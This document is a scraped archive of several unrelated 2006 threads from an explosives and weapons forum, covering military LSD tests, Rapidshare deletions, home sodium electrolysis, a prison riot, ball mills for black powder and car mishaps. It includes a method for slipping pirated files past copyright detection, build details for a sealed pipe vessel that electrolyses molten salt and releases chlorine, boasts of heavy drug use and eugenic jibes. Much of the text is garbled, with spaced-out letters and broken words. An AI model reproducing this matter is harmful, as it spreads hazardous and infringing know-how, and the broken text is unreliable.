http://video.google.com/videoplay?docid=517198059628627413
This would have to be the strangest and most dangerous test I've seen or heard of the military doing.
I wonder what the person who conducted this experiment was thinking. "Hmmmmm... It could be very productive to find out how troops would behave if they were handling
deadly weapons on a hallucinogenic drug, :rolleyes: lets test!"
I've looked for information on why this test was done but all I can find is the same video, over and over again on different sites.
Does anybody know anything about this topic?

How recent is this? I haven't heard of any such tests being done since the 60's, which is when the video you linked to was filmed.
BeerWolf September 21st, 2006, 02:35 PM

From what I understand, the 1960's test on US troops were to see if a gas could be made for use on other country's troops on the battlefield.
They wanted to make something that would cause the enemy troops to turn on each other in the confusion.
Imagine thousands of people having a bad trip all at once.
With guns :)
c.Tech September 22nd, 2006, 01:58 AM

Imagine thousands of people having a bad trip all at once.
With guns :)
Sounds nasty. If I got hit with it I would run off to a corner and trip all day :D, screw battle.
But its not a bad idea, if they got hit 45 minutes before reaching the battlefield they would ether have 1 or 2 soldiers killing others or just being incapable to fight.
It would be quite a funny show if enemies on both sides got dosed on LSD and were fighting.
Is there anybody who has had experience with LSD? If so what would be the chance of going into a bad trip during battle?
AcidWench September 22nd, 2006, 07:34 AM

I know people who have done LSD, and they said that it increases whatever mood you're in. So if you're tense and nervous about going into battle, then you will become
extremely irritable and on the edge, and most likely extremely dangerous.
c.Tech September 22nd, 2006, 07:53 AM

Unless you go into a bad trip.
Ive read many LSD erowid experience reports (http://www.erowid.org/experiences/subs/exp_LSD.shtml) and it doesnt seem that strait forward.
I suggest looking under the sections bad trips and Train wreaks and trip disasters
AcidWench September 22nd, 2006, 08:06 AM

I didn't mean that was the only effect, it's just one of them, plus all the freaking out and shit
Dr. Chaos September 23rd, 2006, 12:45 AM

Didn,t the Russians use something akin to that to rescue those hostages held inside some theater by terrorists? I seem to remember that the results were lethal to many
innocents.

It was a mixture of "A combination of fentanyl and halothane" (http://www.roguesci.org/theforum/battlefield-chemistry/5677-dmt-psychadelic-knockout-agent-2.html).
This topic has been discussed before and it can be found through google as well, next time do a search.
Lewis September 23rd, 2006, 06:40 PM

I remember hearing somewhere that LSD was used as a chemical weapon in the Gulf War. Can anyone verify this?
Nihilist September 23rd, 2006, 08:53 PM

Though i'm sure LSD would be very effective at disabling an enemy army...it might make for an even better propaganda tool. If you have real videos of enemy troops acting
like crazed maniacs, it's much easier to stir the sheeple to 'defend their country' against the 'inhuman, and insane invading armies of evil'.
They did it with Castro in the 60's, the CIA put LSD in his cigars right before he gave speeches in an attempt to make him look bad in front of his people.
Charlie Workman September 24th, 2006, 05:44 AM

I've seen that vid before. Other than the one guy freaking out or at least not seeming to have a good time, the others seemed to just grin and look at the pretty colors. Having
taken a whole lot of LSD in my younger days, this is pretty consistent with my experience. Your ability to concentrate and keep a coherent train of thought is shot. Never seen
anyone go nuts and run amuck, though I suppose it's possible. As far as follow directions or get anything accomplished, forget it. They would no longer be effective either as a
unit or as individual fighters. The presence of bullets flying and explosions would probably induce a massive case of the "FEARS". This would result in quivering and cowering.
One of the reasons I don't do it anymore.
"To paraphrase Aristotle, life is a gas!".

-Gidget
Genocyde September 24th, 2006, 11:34 AM

In my younger days I was an acid freak. I've eaten at least 300 hits of LSD. LSD is not what you guys think. A person under the effect of LSD has plenty of control over
himself, also an unbelievable amount of raw energy. I've only known a couple of real weak minded types to flip out or have a "bad trip". When tripping, you know you're
tripping, you understand the drug is messing with your head and you enjoy it. That is why you took it in the first place.
I think small doses of LSD given to soldiers could be benefecial. They would have near superhuman energy, and be very focused on their goals.
Surely there are some more old-timers on here who have dropped a few hits. Maybe they will chime in and tell about it.
Lewis September 24th, 2006, 06:14 PM

LSD seems like one of the worst drugs to take in wartime environment. If I was to give my soldiers anything, it'd probably administer something from the speed family.

I think small doses of LSD given to soldiers could be benefecial. They would have near superhuman energy, and be very focused on their goals.
Near superhuman energy? "Unbelievable amount of raw energy"?
Not a description I've ever heard attributed to LSD. Speed, coke, maybe even MDMA or PCP, but acid?

Speed would be a good drug for war, make soldiers fight for days on end, let them sleep for a couple of days whilst you speed up another lot and throw them into battle,
repeat.
There are a number of problems, addiction may set in and the drug will loose its effects.
I believe hearing on one of those crap meth cook sites that methamphetamine is the same drug Hitler used to make his soldiers fight for days on end.

According to recently released info, Hitler himself was propped up on amphetamines, on a daily basis. His doctor provided the speed. In his notes, it was referred to as
"Multivitin" or some such.
When speed was outlawed in Germany, the good doc was thought to have provided Hitler with less than pharmaceutical quality goods. This was thought to have either added
to or outright caused his health decline, palsy, etc. during the last days of the reich.
WWII saw the use of speed by all sides, from our fighter pilots to divine wind-ers.
I'd be willing to bet that contingency plans within the military's of today include the use of amphetamines...
Nihilist September 26th, 2006, 07:43 PM

WWII saw the use of speed by all sides, from our fighter pilots to divine wind-ers.
U.S. pilots are given benzedrine pills, aka "go pills" and temazepam pills "no-go pills".
+++++++++++
Don't quote whole posts, only the relevant part. NBK

They give them a lot more than the legal stuff if they have to, though.
Most of the new "super-wakefulness" drugs, such as Modfinil, are from research by the US Air Force and Army, who really want the soldiers to be more focused for longer
during attacks, etc. I'd rather not be fighting a gun battle after 3 days awake, it's a sign of piss poor planning! However, they want to use this to effectively double the number
of troops available at a given time, to reduce invasion costs while having the ability to strike continuously.

They did it with Castro in the 60's, the CIA put LSD in his cigars right before he gave speeches in an attempt to make him look bad in front of his people.
I've never heard this before but I can tell you it's just a myth. LSD breaks down just from sitting around in the sun and it very easily broken down by higher temperature. If a
cigar was laced with any it would simply get burned right up and not affect the smoker at all.
Charlie Workman September 28th, 2006, 03:49 AM

Chris- They didn't mean for him to smoke the acid. It was placed on the part he would put in his mouth. Remeber, the Company had the best acid in the world in those days.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Great Firearms Racks!
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w22shadow S e p t e m b e r 2 1st, 2006, 10:05 PM

These gun racks (http://www.gsaweaponstorage.com / i n d e x . s h t m l) are wonderful, although I have not yet received feedback to
to whether or not they are available to the general public.
I was planning to fill it up with a lot of these (http://www.aimsurplus.com /acatalog/

NEW _AK_W ASR_RIFLE_w__Bayonet_Lug ___Muzzle_Break.ht m l) and m ayb e a few of these (http://www.aim surplus.com /
acatalog/Ronamian_AES10_RPK_7.62x39_Rifle.htm l). :cool:
Sausagemit September 2 2nd, 2006, 01:11 AM

Your rack wouldn't be complete without a couple of Dragunovs!!
The only thing I could ever see m yself using is the transport case. I like to have m y g u n s i n s e p e r a t e s a f e s a l l a r o u n d m y
house just in c a s e s o m e o n e b reaks in while I'm not at hom e, there going to have a lot of trouble stealing all my guns.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Whats wrong with Rapidshare?
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Recently I opened up a Rapidshare collectors section, to start a rouge science library which has/had many advantages.
Little did I know that half my files would be deleted soon.
It seems that Rapidshare has been a little unfair with its 30 day limit. Instead of letting the 30 days run out before full download they decided to delete about half my files.
It isnt that much of a worry because most of the files were unimportant videos which I will only uploading again on request.
I also noticed that the files that were deleted has the least downloads of them all, this could probably be overcome by downloading the files 4 times within thew first 15 days.
Has anybody else had problems with this, or know anything that I dont?
Hitech_Hillbilly September 25th, 2006, 01:58 PM

I have actually been having that problem with some of the files from the rapidshare links post. Only about 4 so far, but it is irritating. I had downloaded the files about 2 weeks
ago, so I know they hadn't reached the 30 day limit.

That file I was suppose to test the 30-day limit (not fully downloading an item to see if it registerd as a download) with got deleted before the second week was up. It is kinda
iritating but they are offering you a free service and beggars can't be choosers.
pandoz September 26th, 2006, 03:24 AM

I have premium accounts, so the only time mine have ever disappeared is when someone ratted me out for illegal content. But, when I had free accounts, I noticed a similar
behavior.

It would not surprise me to learn their "policy" changes if they are faced with a shortage of storage space. Who would miss a seemingly insignificant free file no one has
downloaded in 2 weeks?
Bugger September 27th, 2006, 06:38 AM

Pandoz, what were the names of the files of yours that were deleted because of allegedly illegal content as the result of someone "ratting" on you? BTW I also have a premium
account.

It's probably some automatic file scanner that checks the names of the uploaded file and the inside of unencrypted files, to see if there's any naughty words like "Latest
Hollywood Piece of Shit Movie" or "Latest Piece of Synthetic Whore Music".
Any file with words like Nazi, Metallica, Movie, Brittany, etc. is going to get checked and deleted. There are Copyright Nazis in germany, you know. ;)
Also, it may be that they delete encrypted files, since they don't know if they contain copyrighted materials inside, since they have no way of checking.

I have seen numerous password protected zip and rar files the contents of which cannot be so much as glimpsed without the password last for many months, so I know they
dont delete them out of hand. However, they do seem to quite ruthlessly enforce copyrighted material, but without any pattern I can discern. Some material gets deleted
almost immediately, whereas some copyrighted content can go for months and months. I suspect there are vigilant cocksuckers who look for specific material on warez sites
and actively pursue its deletion. It is quite difficult to find old copies of Before & After Magazine for example as they tend to disappear in a matter of days.
I have thought about a system to protect rapidshare uploaded files from detection and deletion. If only there was software to automate the process, but macros may do in a
pinch. The process is as follows:
A randomly generated text file of varying length is produced and dropped into a folder containing the original file
The original file is added to a rar archive along with the random text file.
The rar archive is compressed as a solid archive and given a random name.
The file is uploaded to rapidshare via some automatic method.
The purpose of the random text file is to change the nature of the rar file to make it unique (like a unique hash). Likely they check for file names, file sizes, and file contents. If
you deny them a unique name, size, and access to the contents, they will have that much harder time deleting the material. Merely changing the filename may not be enough
if they have determined the hash, likewise password protecting the contents insures they cannot peek. The random name would not tip your hand as to the nature of the
contents.
The weakness in this chain is still the human factor of vigilant enforcers of intellectual property. If you publicly post a file location, the contents, and the password, they can
manually rat the file out. Of course, of what great impediment is a single man or group of men standing in a river to the flow of all the water? There is a far larger contingent of
hackers and warezphiles willing to distribute the riches of e-knowledge than there are foul idiotic cybercops.

This is just not on, they arent deleting anything bad (such as nazi propaganda) they are deleting random videos.
I have 5 files left now and the file that has the longest time with no download is 8 days.
I'm assuming they have a 10 day limit.
I wonder how many files are still active in "Lots of Rapidshare links".
c.Tech October 2nd, 2006, 08:08 PM

They re making the time shorter and shorter soon all of our links could disappear.
They delated a file which had just 7 days without download.
My advice is get the files when you can, this will help keep them alive at the same time as not loosing them.
megalomania October 2nd, 2006, 08:38 PM

Every service like this that has offered it for free has eventually gone to a pay to play model, and in doing so ruined itself. If rapidshare does that they will limp on for a bit, but
then everyone will switch to a free alternative and rapid will implode.
The first signs are increasing restrictions that make things less and less user friendly. Anyone notice some of their CAPTCHAS are becomming impossible to read, or not even
loading? The wait time goes up and up and up. It seems now you have to wait after each file, not just once you are over 10MB. Now free files are being deleted with
increasing frequency. That will be their downfall, deleting the very content that has made them so popular.

Moral of the story? Dont rely on free services such as Rapidshare to store your files.
EDIT: How far away do you estimate this is?
Its probably better off buying some web space or sharing by torrent and P2P, although the risk of getting caught is greater because those services allow a direct connection
from your computer to someone elses.
c.Tech October 14th, 2006, 10:39 PM

:eek: Rapidshare has dropped to a record low, I got files delated after 5 days of no download.
When they go down do you think they will keep the premium accounts active?
Nihilist October 14th, 2006, 11:08 PM

It is also possible that someone here is sending in complaints about the files. I know they will often delete things for that reason.
I have a paid account, so I can probably setup a folder for RS stuff. The only problems being that i'm not sure how long I will be keeping my account, and also that i'm not all
that active here. Actually, thinking about it a little more, i'll just PM you my user/pass if you want.
c.Tech October 15th, 2006, 03:33 AM

It is also possible that someone here is sending in complaints about the files. I know they will often delete things for that reason.
That happens to the odd file but these files are definitely getting delated due to shortening of time, I can see this happening with my collectors account. Also the many files are
getting delated from non-illegal content.
Every service like this that has offered it for free has eventually gone to a pay to play model, and in doing so ruined itself. If rapidshare does that they will limp on for a bit, but
then everyone will switch to a free alternative and rapid will implode.
So I wouldnt be relying on Rapidshare to keep your files safe, if Rapidshare goes down so do your files.

I would conjecture that rapidshare will be hit with some European lawsuit brought about by a coalition of movie, music, software, and book publishers. This will be served by
German stormtroopers busting down their server doors and taking the website offline. I am sure rapidshare will fight back in the courts, but once the website is shut down the
mass exodus will begin. They will restore their servers incompletely that will frustrate more people, add additional restrictions to comply with copyrights that will be easily
circumvented, and finally they will reinvent themselves as a pay to play service that no one will care about since they will have long since moved on.
nocturnal shadow October 24th, 2006, 08:45 AM

It appears RapidShare has been fixed or at least an attempt a fixing it has been made.
Upload-Limit: Unlimited! (Max. 100 MB per file! Split-Archives allowed!)

Download-Limit: Unlimited! (Some files have 100.000 Downloads!)
Happy Hours: Traffic-limits disabled. Unlimited parallel downloads. No download-tickets.
The RapidShare AG has taken the goal to set a new standard in webhosting, to better serve the needs of the community. A nearly endless scalable system has been designed
with more than 1000 Terabytes of space and 80 Gigabit/s of internet-bandwidth. To perfect the system, we are right now setting up an office with more than 800m, where
many supporters will help you to solve your problems, even by telephone in multiple languages. We hope to give you what you wish: More support, more space, more speed
and more transparency.
Files to be deleted 45 days without download

That's the new rapidshare.com when this thread was started all there was only rapidshare.de, but Im sure that rapidshare.com will sooner or later go down in the same
way rapidshare.de did, unless they start using many commercials like the other file hosters they dont stand a chance. (IMO)
megalomania October 25th, 2006, 02:59 AM

They may SAY they offer unlimited uploads, no deletion for 45 days, no traffic limits, etc., but who will test the veracity of their claims? Surly there has never been a website,
or business, that has promised something, but failed to deliver
nbk2000 October 25th, 2006, 10:27 AM

They also used to say no files deleted until after 30 days of inactivity.
We KNOW for a fact that they've deleted files in under a week. :rolleyes:

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > extracting sodium
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mule September 25th, 2006, 05:35 PM

Has anyone ever tried to extract sodium from sodium carbonate(wash soda)? I believe it can be done if the carbonate is molten, and then voltage is passed thought it. The
sodium should gather on 1 of the electrodes. Questions are:1 How much voltage to apply? 2: Would stainless steel react with the sodium?
Gammaray September 26th, 2006, 03:52 PM

melt NaCl 800 C celsius, put 2 Elektoden in the bath and 100Ampere current, at one you get CL2 ( collect the clorgas) the other liquid Na

The fact of the matter is this is not a trivial procedure to do on an improvised scale. The procedure Gammaray outlined is indeed correct, minus just about all the details. You
will have to have a molten sodium salt, but I would not advise sodium carbonate. Molten sodium chloride with added calcium chloride will lower the melting point of the mixture
making it more energy efficient. The trick is to protect the sodium metal from the liberated chlorine gas as well as from atmospheric oxygen and moisture. The sodium is very
reactive at these temperatures.
Industrially sodium metal is made from a device called a Downs cell (look it up). A central carbon anode immersed in the liquid sodium chloride liberates chlorine gas that
passes up and out of the cell. The cathode is an iron screen around the perimeter of the cell that keeps the liquid sodium metal away from the chlorine.
I have tried this once to limited effect by melting a small amount of salt in my furnace, followed by running some current through the molten mass with a battery charger. The
sodium produced almost immediately started burning, and it melted my copper wires.

I have tried this once to limited effect by melting a small amount of salt in my furnace, followed by running some current through the molten mass with a battery charger. The
sodium produced almost immediately started burning, and it melted my copper wires.
I remember some folks in SM tried this improvised method and attained quite a success by using a loop shaped electrode wire to scoop out the formed sodium in small portions
into oil or something like that.
However, as you mention it's a very reactive metal and even humidity in air shall make the reaction a hell.
Cindor September 27th, 2006, 01:11 PM

Instead of Sodium Chloride you may use Sodium Nitrate with a melting point of 307 C.
I tryed... but with 6 V and 1 A :S... but I get some sparks :D, hehehe

Cindor, do you have a source which states that sodium nitrate can be electrolysed to sodium?
I would think that it would release NOx gasses (NO2, NO) or oxygen which would cause it to form an oxide Na2O and/or a nitrite NaNO2.
If it is possible its still a great risk, as "Sodium Nitrate decomposes explosively when heated > 538C (1000F)." source: http://www.skylighter.com/msds/
SODIUM%20NITRATE%20MSDS.htm
DMSOnMyVeins September 28th, 2006, 03:43 PM

The best and safest way to produce sodium metal is to make what I call a SodaBomb. It looks like a pipe bomb but is used to produce Na instead.
A steel pipe that is threaded on both ends, ~2in. dia x ~12in. long with matching end caps is needed. It is essential to remove whatever coating there is (most likely zinc) so
that only the iron contacts the molten Na.
The top cap needs to have steel or other suitable tubing welded to a hole in the cap, it needs to be ~12in. long so the heat wont affect the vacuum tubing. Next a hole is
drilled for the graphite anode which needs to be long enough to reach well into the molten NaCl sol. Then attach a wire to the steel tube as the Steel tubing itself will be the
cathode.
Now the Bottom cap is attached and the apparatus is filled to within 1" from the top with NaCl and a suitable heat source applied. When the NaCl is thouroghly liquid carefully
attach the top cap and apply vacuum to the reaction vessel (an aspirator is best). then apply the correct DC current (you need to work this out for yourself).
When the reaction is done let the vessel cool down with vacuum stil applied and when cool submerge the entire vessel in a nonreactive fluid, (i.e. mineral oil, kerosene etc.)
Then you can remove the end caps and cut the Na out or if possible heat the oil sol. slightly to melt out the Na metal.
All this is from memory if I remember anything else I'll reply
Cindor September 28th, 2006, 05:21 PM

At 307 C there's no decomposition, Soum Nitrate is decomposed at 380C... far away from 538C.
And like I said before I tryed, but with a low A - V... anywhay I get some sparks.
shannon dove September 28th, 2006, 05:30 PM

What about the method that that I read about in an old chemistry book (1925),on making reduced metalic pottasium,mix pottasium carbonate with charcoal heat to avery high
temperature the potasium is reduced and distills over and is collected under oil,as it is a gas at that temperature.I know it does not seem right that carbon would reduce
pottasium but that is what it says

Cindor, by putting the explosive decomposition point "> 538C" I was saying that it would be dangerous if the temp accidentally reached that high.
DMSOnMyVeins, your method would seem to work but wouldnt the vacuum also pull out quite a bit of sodium vapour before the reaction was complete?
Maybe have a spiralling condensing tube kept at above 100C so the condensed liquid sodium would run back into your SodaBomb and still remove the chlorine.
After time you would probably get salt build up from the reaction of sodium and chlorine, or would this react in the pipe before it could get that far sending a sodium chloride
vapour out the exhaust?
DonS September 29th, 2006, 04:20 PM

DMSOnMyVeins:
It looks like the entire vessel is the cathode, if the steel tubing is welded to the top cap.
What do you use to insulate the graphite anode from the vessel, presuming the whole thing is at or near 800 degrees C?
Apart from cost of electrolyte, how about using NaOH instead of NaCl? Its melting point is substantially lower, and we don't have to worry about chlorine gas.
I've performed an experiment similar to the one described above by megalomania, though I used NaOH, an iron crucible (anode), and a steel wire with a loop (cathode).
Periodically lifting the cathode, with its small blob of molten Na, then dunking it into a jar of mineral oil, I was able to get a few mg of Na. Not enough to be useful - it was
more of a "proof of concept" experiment on a boring day.

The top cap needs to have steel or other suitable tubing welded to a hole in the cap, it needs to be ~12in. long so the heat wont affect the vacuum tubing. Next a hole is
drilled for the graphite anode which needs to be long enough to reach well into the molten NaCl sol. Then attach a wire to the steel tube as the Steel tubing itself will be the
cathode.
Without insulation between the graphit electrode and pipe, the DC power, IMO, shall short. How do you insulate graphite anode from the steel pipe? Can you elaborate on this?
Regards.

When designing a similar setup for magnesium metal production I settled on using a plaster or concrete cap to separate the electrode. An extra large hole is drilled out of the
pipe cap and a piece of cardboard with a hole in the center is glued to the bottom of the cap. The electrode fits into the center hole, and the cement is filled in around it and
allowed to dry. The cardboard should be removed unless you are unconcerned with it burning away.
It may not be necessary for a vacuum source, at least such is the case for magnesium, so sodium might be different. The chlorine gas produces a positive pressure, and it can
be directed out through a water trap. The water trap is a closed jar of water that the exit gas is bubbled into. There should also be an empty overflow jar before the water trap
to prevent any water from being sucked back into the heated container (potential disaster avoided there). The purpose of the trap is to exclude air. This is similar to excluding
air from fermentation of sugar to get alcohol.
The one good reason I see to using vacuum is to keep the quantity of chlorine gas to a bare minimum thus avoiding a competing reaction with sodium metal and chlorine gas
reforming salt. I would still recommend using a trap in this circumstance, perhaps an oil based one to condense any fumes of sodium that pass over, but more importantly to
keep sodium vapors out of your vacuum equipment. Even if you use an aspirator the possibility of a leak exists, and you do not want water entering an 800 degree
environment, or any sealed container at any temperature above waters boiling point.
The only problem with using molten sodium hydroxide is that it will play hell with your steel container. The corrosion will be excessive, but at least such pipes are cheap enough
if manufacture is not on your agenda.
c.Tech September 30th, 2006, 10:41 PM

The only problem with using molten sodium hydroxide is that it will play hell with your steel container. The corrosion will be excessive, but at least such pipes are cheap enough
if manufacture is not on your agenda.
Would molten sodium hydroxide corrode stainless steel, I imagine that the corrosion would be excessively less than on normal steel pipes.
DMSOnMyVeins October 3rd, 2006, 01:22 PM

Take a look at this. It looks like this sodium was produced in a "sodabomb" and this ebay seller is trying to sell this stuff.
http://cgi.ebay.com/Sodium-metal-6lb-ingots-salt-lab-chemicals_W0QQitemZ170035576790QQihZ007QQcategoryZ 104233QQssPageNameZWDVWQQrdZ1QQcmdZViewItem
KMnO4 January 16th, 2007, 03:29 PM

If NaOH is heated a little more than ts melting temerature sodium formed by electrolysis will dissolve in NaOH and I belive it is impossible to sepearte them (perhaps it could be
done by distilling of the sodium if it's boiling point is lower than the boiling point of NaOH).
a_bab January 17th, 2007, 05:55 AM

That ebay item is a classical ingot as bought from a sodium manufacturer, and it is not made with your "soda bomb" thing. If it would be, it would have look different.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > The Great Escape
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IronMongrel S e p t e m b e r 2 7th, 2006, 05:52 PM

An interesting artice from T h e W a s h i n g t o n T i m e s
http://www.washingtonpost.com /wp-dyn/content/article/2005/08/23/AR20 0 5 0 8 2 3 0 1 5 2 5 . h t m l
Has some interesting insights into organising resistance in prisons, improvised weapons and kitchen chem istry.
A few quotes
Hours before the planned prison break on March 24, an informant tipped off the Am erican s, who then drove a bulldozer acro ss
C o m p o u n d 5 . What they discovered was breath taking: a fully com pleted tunnel that stretched 357 feet, lon ger than a football
field . Inside were flashlights b uilt from radio diodes and five larger spaces to provide ventilation. T he tunnel's walls were as
s m o oth and strong as concrete, sculpted with water and, the Americans b elieve, m ilk.
Milk! Do you think this acts as a glazin g agent or simple varnish?
Suddenly, everything the Ame ricans had provided the inmates over the previous m onths was turne d against them , according to
g u a r d s a n d a v i d e o t a p e o f t h e r i o t m a d e a v a i l a b l e b y t h e m ilitary. The cinderblock had be en chiseled from the concrete base
o f a t e n t p o l e ; h u n d r e d s o f p i e c e s h a d been stored inside a tent the inm ates use d a s a m o s q u e t h a t t h e m ilitary designated
off limits to the guards. The d etainees used floorboards as shields. They hurled socks filled with a cocktail of feces, dirt and
flam mable, slow-burning hand sanitizer, the Americans said. One of the crude devices ignited a Polaris all-terrain vehicle
"feces, dirt and flam mable, slow-burning hand sanitizer" Anyone care to explain the rational of tho se ingredients?
Before long, the ground was carpeted with pieces of cinderblock, much of it flung with slingshots fashioned from thin rubber
gloves the Am ericans had given the inm ates to distribute food. The detainees used what Brown called "standard David and
Goliath" slings cut from the ca nvas ten ts. The most skillful, Brown said, could propel the cinderblock chunks through a b a n k
telle r's windo w . O n e c h u n k , h e s a i d , e m b e d d e d in the wall behind a tower guard's head.
The Americans fired back with rubber bullets and tear gas but failed to slow the projectiles cascading from the courtyard. "W ith
that deadly velocity, they were out-ranging our nonlethal weapons, which becom es very da ngerous," Brown said.
"The violence, it was just absolutely incredible," said 1st Lt. Shawn Talm a d g e , a f i r e e n g i n e s a l e s m an from Richm o n d . " T h e
sheer volum e of rocks and the accuracy of them throwin g the rocks -- it was just a full-out battle."
I m used posting this in the im provised weapons section , a s a n e x c e l l e n t e x a m p l e o f o r g a n i s a t i o n a n d i m provisation, but I

thought better of it:cool:

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > The ball m ill
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CosmikDebris S e p t e m b e r 2 9th, 2006, 09:22 PM

T h e b a l l m ill
I d lik e t o m a n u f a c t u r e a ball m ill. After reading, m a n y p o s t s a b o u t t h i s s u b j e c t it raises m o r e q u e s t i o n s t h en answers.
1) W hat is the best m aterial to construct the ch a m b e r f r o m ?

2) Is there any benefit in usin g a solid rod instead of round balls?
3) How do you keep the product you are m illing from gathering at the en d plugs or caps?
M a y b e a c h a m b e r m a d e f r o m 3 x 1 2 U H M W solid round, bored t o 2 . 5 x 1 1 inside. For t h e milling m e d i a a 1 . 5 solid stainless

stee l rod with radius ends.
As for the single end cap, its up in the air.
I plan to use this mill in a metal lathe, chocking the solid end in the lathe chuck and use a live center to apply pressure on the
cap or plug at the other end.
Thoughts please.

I'm fairly sure that there is m ore than enough info on this site to constru ct your o wn ball mill. Or, god forbid, you co uld try
e x p e r i m enting to see what works the best in ball m ills.
I'm feeling n ice, so here's all the info wrapped up in a nice bundle, com plete with pictures:
http://www.unitednuclear.com /ballmill.htm
I hadn't thought to use solid rod when I built m y m ill. It seem s f e a s i b l e , b u t I s o m ehow d oubt it'd be anywhere near as
efficient as round lead shot.
A word of advice is not to cheap out on bearings, and to add bits of teflon anywhere there is rubbing. Heat is your enem y wh e n
m illing black powder. It is very annoying to com e back to the charred rem ains of a mill.
c.Tech October 1st, 2006, 04:17 AM

Static electricity can also be a problem. I rem e m ber seeing a ball mill that was made to discharge the static electricity whilst
s p i n n i n g . I t w o u l d a l s o b e a g o o d i d e a t o u s e a c h a m ber that will generate the least static whilst spinning.
Just in case of an explosion, it would be a good idea to operate your ball m ill where the m etal balls will hurt nobody if a dust
air explosion h a p p e n s , o r p l a c e a s h i e l d a r o u n d t h e b a l l m ill so if it does explode the shield would absorb the shock.
CosmikDebris October 1st, 2006, 08:22 AM

Thank you for your replies to m y recent post, the bill mill.
Lewis, t h a n k y o u f o r t h e l i n k , I h a v e r e a d i t b e f o r e a s well as m a n y o t h e r s , a n d I m j u s t l o o k i n g f o r a n e w d e s i g n . A s f o r the
b e a r i n g s , I a g r e e a l t h o u g h t h ey re not applicable in m y application.
c. Tech, The idea of a static discharge system is great, and will be incorporated in the design.
c.Tech October 1st, 2006, 08:29 PM

I f y o u r e g o i n g t o m a k e t h e b a l l m ill it will be great to upload a picture t o t h e f o r u m . L e t u s k n o w h o w i t g o e s , t h a n k s i n
advance.
jellywerker October 2nd, 2006, 04:10 PM

Don't think a bout buying a Un ited Nuclear mill, they are sim ply rebranded ones from harbor freight tools. The HFT ones also
cost about 50%+ less. I believe they are called rock tumblers on HFT though.
lucas October 3rd, 2006, 09:25 PM

I u s e 0 0 b u c k s h o t a s m e d i a . I t ' s f i n e , b u t y o u m ay try another size. 000 is 30% heavier.
As for design:
a=v^2 / r . Y ou want acceleration to be less than gravity so it tum b l e s . M a y b e 6 m / s / s
g= 9.81 m /s/s
Check your lowest speed on that lathe then calculate the desired radius of the tum bler vessel.
The 1.5" rod for milling media would be a very large size m edia, with high surface area and probably fine for a large container.
It m ay be too big for a container with a 2.5" dim e n s i o n .
http://www.thumlerstumbler.com/ these are good

lucas, they are good but do you see any mention of the price on the web site?
Not displaying the price possibly mean s t h e y d o n t want you t o know until you have decided, think about why they would want
that.
CosmikDebris October 23rd , 2 0 0 6 , 0 8 : 1 9 P M
Heres an interesting mixer - ball mill design worth pursuing.
http://www.glenmills.com/product_showcase/index-powd er.shtm l
+++++++++++++
Use the code tag for long UR Ls. NBK

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Swinging Dartm o u t h
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Marmaloon S e p t e m b e r 3 0th, 2006, 01:37 AM

Silly Bugger #1:
T h e o t h e r d a y some young buck in a little Pontiac Sunfire pissed up and wired up on som e t h i n g b l a s t e d u p t h i s d e a d e n d r o a d
parallel to the street where m o m lives with his buddy on the way hom e from the gay bar, or wherever the hell they were dicking
a r o u n d a t a b out 4:00 am loca l lost control, I don't know for the life of m e how as every local knows that the road is a cul de
sac, the car went ballistic and went up this little terraced lawn that goes up to the first floor of the building. The Apartm ent
buildings on this street were a ll m a d e i n t h e e a rly 1950's so they were not built flimsy, they had I think 2 courses of brick with
the air space , then 4" posts, to which 2" planks were nailed horizontally, studding, then the old drywall used as plaster
grounds, then a layer of plaster. W ell they had enough speed to cause the car to dig out this divot about 6" deep from the
crest of this little terrace, then the car bounced up and blew away the corner of the building and narrowly m i s s i n g a y o u n g
couple trying to get som e sleep in their bed, th ey were not injured but only just. Mom ' s n e i g h b o u r s s a i d t h e s o u n d w a s l i k e a
plan e crash. When the young guy who was slee ping realized what had ha ppened, he clim bed out through the hole and went
over to the rem ains of the car which was by now starting to catch fire, he reached into the ignition and shut it off. By then the 2
m iscreants had fled to their la ir to drink beer and lay low. The car came to rest facing the hole up against a tree, and was just
m angled, the only thing that was intact was the p a s s e n g e r c o m p artment the rest was just ripped to hell, there was car shrapnel
all o ver the place, bricks and debris from the building were flung about 200 feet, big chunks too. I think no charges were laid.
Silly Bugger #2:
In the apartment where I used to live on Brule Street, (sounds classy doesen't it), now resides one of m y co-workers this girl.
One night, she awoke to hear these 2 idiots in the apartm ent downstairs going outside to the park ing lot out back where one
o f t h e m k e p t h i s u n i n s u r e d , p o s H y u n dai Pony, the lad was abo ut 17 or so, didn't have any honest money, and didn't want to
pay to have this pos towed away as they are planning on m oving out. So this gen ius gets the idea of settin g it on fire thinking
that it would just collapse into a pile of dust or som ething, so my co-worker wakes up to hear this goddam n car exploding in
the back parking lot, she was pissed as fuck as you can imagine as her car was parked so mewhere on the property. Again, the
2 g e n i u s e s g ot away with it, claiming ignorance of how it caught fire. They little wad still has to pay to get the hulk towed away.
The fire dept had to come and put it out of cou rse. W here is the world headed? TSK.

These idiots have been around since the dawn of time. Fortunately they kill themselves off making the world a better place,
search the Darwin awards.
The unfortun ate thing is the stupid people (usually poor) breed like rabb its leaving m ore for the educated people to deal with.
Jacks Complete S e p t e m b e r 3 0th, 2006, 03:33 PM

And they also leave a shitload of laws, red tape and taxes for th e e d u c a t e d t o h a v e t o s p e n d p r e c i o u s t i m e working through
and around!

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > a car that drives itself
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Sausagemit October 1st, 2006, 04:06 PM

T h i s i s o n e o f the sweetest things I have seen in a while. And this is not fake like t h e C e s i u m v i d e o . : D
http://www.youtube.com /watch?v=EehLs02jURk
GibbsFreeEnergy October 1st, 2006, 06:59 PM

If I were on the team who created that car, I'd be insulted by the introduction. The narrator passes off this achievement
casually as som ething that can be don e by any idiot who has a car with "an autom atic transmission and power steering." And of
course it's obvious that the car can't m a k e t h e s a m e tim e with an extra person in it; what an illogical argum ent. If that car only
lost one second and had the narrator in it, I'd venture to say it did a better job th an he did.. aside from k n o c k i n g t h e c o n e
down. O ther than that, it is pretty cool.
c.Tech October 1st, 2006, 08:44 PM

I just cant wait until all this new technology comes out, Im going to becom e the laziest guy in Australia. :D
Maybe this is the first step to driving under the influence (legally) to pass the time during a boring car ride. I sure h o p e s o .
